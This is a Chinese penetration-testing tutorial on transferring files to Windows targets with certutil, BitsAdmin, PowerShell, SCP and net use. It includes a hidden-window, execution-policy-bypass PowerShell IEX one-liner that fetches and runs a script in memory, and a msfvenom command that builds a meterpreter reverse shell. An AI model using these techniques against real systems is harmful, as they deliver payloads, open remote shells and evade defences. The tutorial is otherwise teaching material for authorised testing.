渗透测试常用文件传输方法-Windows篇(如何向Windows服务器中上传文件?) (゚益゚メ) 渗透测试
文章目录
文件传输
文件传输在渗透测试中主要用于将攻击载荷上传到目标主机或者获取目标资产使用。
下面我说的下载统一为攻击机向目标机传输文件,上传则相反!
下面很多下载我都是在Linux上开启的下载服务,可以看我在Linux篇写的攻击机挂载文件: xunmi.blog.csdn.net/article/det…
注意: 下述所有命令,如果你是在powershell中执行的,则无需在开头写powershell,如果是在cmd中执行的,这需要写powershell。下述所有命令没有特殊说明的情况下,我都是使用powershell做示例!(看命令行开头有PS
这代表是powershell!)
certutil
certutil是Windows内置的一个证书服务的一部分,其中有可以被我们利用的下载模块。
- 优势: 方便易用,支持大多数文件下载
- 缺点: 不支持文件上传,而且下载文件后留有缓存
# 显示或删除 URL 缓存项目 -URLCache # 分离嵌入的抽象语法标记1(ASN.1)元素,并保存到文件 -URLCache -split # 强制执行 -URLCache -f # 强制执行将目标文件保存到指定地址 certutil.exe -urlcache -split -f 目标文件 保存地址 # 如 certutil -urlcache -split -f http://43.128.11.31:8000/6666.exe C:\临时\下载文件.exe 复制代码
上述在介绍命令的时候也能看出这种下载方式是利用了cetutil的缓存机制,所以会留下缓存的文件。默认缓存路径%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
# 删除缓存 certutil.exe -urlcache -split -f 目标文件 delete # 如 certutil.exe -urlcache -split -f http://43.128.11.31:8000/6666.exe delete 复制代码
BitsAdmin
- 优势: 专门用来传输文件的工具,传输功能齐全。
- 缺点: 下载目标必须是真实的HTTP协议,如阿帕奇,不支持Python之类的脚本开启的临时服务。
# 下载文件 bitsadmin /transfer 任务名 下载地址 保存地址(最后需要加上保存文件的名字) # 如 bitsadmin /transfer 下载任务 http://43.128.11.131/1.txt C:\Users\xunmi\Desktop\网安\下载文件.txt 复制代码
Powershell
- 优势: 简单易用,适用性广。(并且支持Python之类的脚本语言开启的简易web服务!)
- 缺点: 被大多数杀软判定为安全重灾区,会受到很多杀软的’特殊关照’!
- 方法一: 调用内置对象
system.net.webclient
(提供常用的方法来发送和接收由URI标识的一个资源中的数据)
# 最基础的文件下载 ## 创建一个新的对象 $p = new-object system.net.webclient ## 调用此实例来下载目标文件 $p.downloadfile("下载地址","保存地址") # 合并版 ## powershell中执行 $p=new-object system.net.webclient;$p.downloadfile('下载地址','保存地址') ## cmd中执行 powershell -c "$p=new-object system.net.webclient;$p.downloadfile('下载地址','保存地址')" powershell -c "$p=new-object system.net.webclient;$p.downloadfile('http://43.128.11.131:8000/6666.exe','C:\Users\xunmi\Desktop\网安\6666.exe')" # 简写版 (new-object system.net.webclient).downloadfile("下载地址","保存地址") (new-object system.net.webclient).downloadfile('http://43.128.11.131:8000/6666.exe','C:\Users\xunmi\Desktop\网安\6666.exe') 复制代码
PS: 保存地址尽量写绝对路径!
- 方法二:调用
Invoke-WebRequest
方法,此方法有几个别名,iwr,wget,curl,使用此别名和此方法名效果是完全相同的!如果你看了我之前写的linux篇或本身对Linux文件传输就有所了解应该会对这几个别名感觉非常熟悉!
# 使用方法 Invoke-WebRequest -uri "下载地址" -OutFile "保存地址" # 使用别名效果相同,并且-uri可以省略 wget "下载地址" -OutFile "保存地址" # 比如 wget 'http://43.128.11.131:8000/6666.exe' -OutFile 'C:\Users\xunmi\Desktop\网安\6666.exe' 复制代码
- 方法三: 加文件加载如内存,无文件落地,这里需要调用到内置对象
Net.WebClient
# -windowstyle 窗口模式(这里我选择隐藏窗口) # -exec 执行策略,可以简写为-ep(默认策略无法在内存中执行,这里选择bypass) # IEX 加载到内存,无文件落地 powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('下载地址');脚本名"; # http://192.168.1.200:8000/shell.ps1 powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:8000/shell.ps1');shell.ps1"; 复制代码
# 使用msf生成一个测试目标 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=6666 -f psh-reflection -o shell.ps1 powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:8000/shell.ps1');shell.ps1"; 复制代码
SCP
scp有点像ssh的连接语法,也是一个非交互的文件传输方法,同样也会自动调用ssh的免密认证。并且这种方法不仅可以下载文件,还可以下载文件夹还有上传文件和文件夹操作!
# 下载文件 scp 用户名@服务器地址:目标文件 保存地址 # 如 scp root@43.128.11.131:/root/渗透测试/1.txt F:\下载\临时\1.txt # 下载文件夹(需要-r参数) scp -r 用户名@服务器地址:目标文件夹 保存地址 # 如 scp -r root@43.128.11.131:/root/渗透测试/挂载脚本 F:\下载\临时\ # 上传文件 scp 上传文件 用户名@服务器地址:目标目录 # 如 scp F:\下载\临时\火星船票.png root@43.128.11.131:/root/渗透测试/上传的图片.png # 同样如果想上传文件夹,只需要添加-r参数即可 scp -r F:\下载\临时 root@43.128.11.131:/root/渗透测试 复制代码
Windows文件共享
文件共享在内网横向渗透中会比较常用。
# 查看当前本机可共享的文件夹 net share # 如下图,可以看出默认情况下,我们几个磁盘都会被共享,对方如果有我们主机的账户的话是可以直接远程挂载的! 复制代码
# 挂载方式 net use 本地盘符 \\目标IP地址\目标共享名 # 或 net use 本地盘符 \\目标IP地址\目标共享名 "目标用户密码" /user:目标用户名 net use Y: \\192.168.1.251\Users "8ge8+1ge1" /user:xunmi # 但一般默认共享的目录只有administrator及以上权限用户才有资格连接 复制代码